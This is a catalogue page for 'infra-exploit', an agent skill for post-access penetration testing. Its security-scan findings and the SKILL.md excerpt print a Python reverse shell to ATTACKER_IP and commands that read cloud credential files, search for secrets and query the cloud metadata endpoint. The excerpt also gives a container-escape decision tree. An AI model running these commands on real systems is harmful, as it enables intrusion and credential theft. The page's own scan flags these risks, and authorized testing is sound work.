infra-exploit

infra-exploit is a skill for Claude Code, Codex from yhy0/CHYing-agent. It costs 36 tokens per session (7,797 once invoked), scanned D, original, MIT.

A security-testing guide for the part of an attack that happens after access to a system has been obtained. It covers containers, Kubernetes, cloud services, Windows domains, credentials, and movement between connected systems.

In plain words
What is it for?
Use it to assess shells, containers, Kubernetes clusters, cloud environments, Windows domains, credentials, and internal network paths during an authorized penetration test.
Why use it?
It helps organize post-access testing by first identifying the environment and then choosing relevant checks. It is intended only for systems where testing is authorized.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/yhy0/chying-agent/infra-exploit
Any agent
npx skills add yhy0/CHYing-agent --skill infra-exploit
Clone the repo
git clone --depth 1 https://github.com/yhy0/CHYing-agent

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for infra-exploit

README.md
[![agentmods](https://agentmods.dev/badge/skills/yhy0/chying-agent/infra-exploit.svg)](https://agentmods.dev/skills/yhy0/chying-agent/infra-exploit)
Your own site
<a href="https://agentmods.dev/skills/yhy0/chying-agent/infra-exploit"><img src="https://agentmods.dev/badge/skills/yhy0/chying-agent/infra-exploit.svg" alt="Measured on agentmods" height="20"></a>
Per session 36 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 7,797 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 6 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00036 $0.07797
Opus 5 $0.00018 $0.03898
Sonnet 5 $0.00007 $0.01559
Haiku 4.5 $0.00004 $0.00780

Measured 5d ago against content hash be9361514988, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade D, and why

infra-exploit scanned grade D with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -sk https://NODE:10250/run/NS/POD/CTR -X POST -d "cmd=id"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Enumerates the file system for secretsmediumData exfiltration

Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.

find / -maxdepth 4 -name "*.env" -o -name "*.conf" -o -name "*.cfg" -o -name "*.ini" \

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat ~/.aws/credentials ~/.config/gcloud/credentials.db 2>/dev/null

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

│ 检测: curl -s -m 2 http://169.254.169.254/; env | grep -iE '(AWS|AZURE|GOOGLE|CLOUD)'

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

│ 检测: curl -s -m 2 http://169.254.169.254/; env | grep -iE '(AWS|AZURE|GOOGLE|CLOUD)'

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
agent-work/.claude/skills/infra-exploit/SKILL.md · 683 lines

How it starts

The opening of the file, as written. The whole thing — 683 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Infrastructure Exploitation Skill

后渗透专项:容器逃逸、Kubernetes 集群攻击、云环境利用、域渗透、横向移动。

基础渗透(recon/scanning/initial access/web vulns)由 web-security skill 覆盖,本 skill 聚焦于获取 shell 之后的攻击链。 所有测试必须在授权范围内进行。


1. Post-Shell 环境检测与路由

获取 shell 后立即判断所在环境,路由到对应攻击决策树:

获取 Shell
│
├── 仅有 Webshell/SSRF,未获得交互式 Shell? → §7 Pivot & Tunneling
│   先升级: webshell → reverse shell → 稳定隧道,再进入后续流程
│
├── 发现内网网段(172.x/192.168.x/10.x 非目标 IP)? → §7 Pivot & Tunneling
│   检测: ip a; cat /etc/hosts; cat /proc/net/fib_trie
│
├── 在 Docker 容器内? → §2 容器逃逸决策树
│   检测: cat /proc/1/cgroup | grep docker; ls /.dockerenv
│
├── 在 K8s Pod 内? → §3 Kubernetes 攻击决策树
│   检测: ls /var/run/secrets/kubernetes.io/serviceaccount/; env | grep KUBERNETES
│
├── 云环境? → §4 云环境利用
│   检测: curl -s -m 2 http://169.254.169.254/; env | grep -iE '(AWS|AZURE|GOOGLE|CLOUD)'
│
├── Windows 域环境? → §6 域攻击速查
│   检测: net config workstation; nltest /dclist:*
│
└── 标准 Linux/Windows → §5 凭据收割 → modules/lateral-movement.md

首要动作(任何环境都先执行):

# 凭据速查
env | grep -iE "(key|token|pass|secret|api|cred|aws|azure|google)"
cat ~/.aws/credentials ~/.config/gcloud/credentials.db 2>/dev/null
# 网络态势
ip a 2>/dev/null || ifconfig; cat /etc/hosts

2. 容器逃逸决策树

Quick Recon (in container)

# 1. 确认在容器内
cat /proc/1/cgroup 2>/dev/null | grep -qi docker && echo "Docker"
ls -la /.dockerenv 2>/dev/null && echo "Docker"

# 2. 权限 & capability
cat /proc/self/status | grep CapEff
# 0000003fffffffff = privileged
id
cat /proc/1/status | grep Seccomp  # 0=disabled

# 3. 挂载 & 设备
ls -la /var/run/docker.sock 2>/dev/null   # Docker Socket
ls /dev/sda* /dev/vda* 2>/dev/null        # 块设备
mount | grep -E '(docker|overlay|proc)'
find / -name core_pattern 2>/dev/null     # procfs 挂载?

# 4. 网络
ip a 2>/dev/null || ifconfig
cat /etc/hosts
IP=$(hostname -i | awk -F. '{print $1"."$2"."$3".1"}')
timeout 2 bash -c "echo >/dev/tcp/$IP/2375" 2>/dev/null && echo "Docker Remote API open"

# 5. 内核
uname -r  # 判断内核 CVE

Decision Tree

[START] 容器侦察完成
|
+-- Docker Socket? (/var/run/docker.sock)
|   +-> curl --unix-socket 创建挂载宿主机的特权容器 [最简单]
|
+-- Docker Remote API? (宿主机:2375 可达)
|   +-> docker -H tcp://HOST:2375 run -v /:/host ... [等效 Socket]
|
+-- Privileged? (CapEff=0000003fffffffff)
|   +-> nsenter -t 1 -m -u -i -n -p -- /bin/sh [最直接]
|   +-> 备选: mount /dev/sda1 /mnt
|
+-- 有块设备? (/dev/sda*)
|   +-> mount /dev/sda1 /mnt/host
|
+-- SYS_ADMIN?
|   +-- cgroup 可写? -> release_agent 逃逸
|   +-- 可 mount? -> mount 宿主机 FS
|
+-- 宿主机 procfs 挂载? (find / -name core_pattern 有2个)
|   +-> core_pattern 写入逃逸(|/path/to/script)
|
+-- Docker 用户组? (非 root 但在 docker group)
|   +-> docker run -v /:/host ... 等效 root
|
+-- NET_RAW + 同网段服务?
|   +-- 发现已建立的明文连接 (netstat/ss)?
|   |   +-> 嗅探 seq/ack + 直接注入应用层命令(不需要密码)
|   |   +-> 或: 先嗅探,再触发新连接捕获认证凭据
|   +-- 未发现现有连接?
|       +-> ARP 欺骗 + 嗅探同网段其他容器间流量
|   +-- 获取数据库凭据/RCE 后:
|       +-> 检查目标容器是否 privileged → mount 宿主机磁盘
|       +-> 或: 数据库命令执行 (PG COPY FROM PROGRAM / Redis CONFIG SET)
|
+-- SYS_PTRACE + 共享 PID NS?
|   +-> nsenter 或 /proc/PID/root 访问宿主机
|
+-- DAC_READ_SEARCH?
|   +-> shocker exploit (open_by_handle_at)
|
+-- 内核 CVE?
|   +-> DirtyCow(2.6.22-4.8.3) / DirtyPipe(5.8-5.16.11) / CVE-2020-14386(4.6-5.9)
|   +-> runc CVE-2019-5736 / CVE-2024-21626 / CVE-2022-0492
|
+-- 以上都没有?
    +-> 环境变量凭据、挂载的敏感文件、可写宿主机路径

Read the full file on GitHub · 683 lines

Files

What ships with it

8 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 683 lines · 36 tokens per session scan D be9361514988

Subscribe to this mod's changes

infra-exploit is a skill published in the GitHub repository yhy0/CHYing-agent (554 stars, last pushed 4mo ago), licensed MIT. It adds 36 tokens to every session and 7,797 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it D with 6 findings (sends data to an external url, enumerates the file system for secrets, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

systematic-debugging

Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.

obra/superpowers · 21 tokens

local-ai-agents

Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…

microsoft/ai-agents-for-beginners · 200 tokens

next-cache-components-adoption

Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…

vercel/next.js · 95 tokens

insight-error-page

Write or audit an insight-kind error page for the Next.js dev overlay. Use when creating a new errors/ .mdx page, auditing an existing one, or checking that a page matches the framework fix cards. Covers page structure, title alignment, FixCard cards with Copy prompt button, code snippets, terminology verification…

vercel/next.js · 83 tokens

next-cache-components-optimizer

Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…

vercel/next.js · 170 tokens

next-partial-prefetching-adoption

Turn on Partial Prefetching in a Next.js app and work through the insights it surfaces. Use when the user wants to enable or adopt Partial Prefetching, flip the partialPrefetching flag, opt routes in with export const prefetch = 'partial', audit Link prefetch={true} behavior, preserve existing prefetched UI with…

vercel/next.js · 103 tokens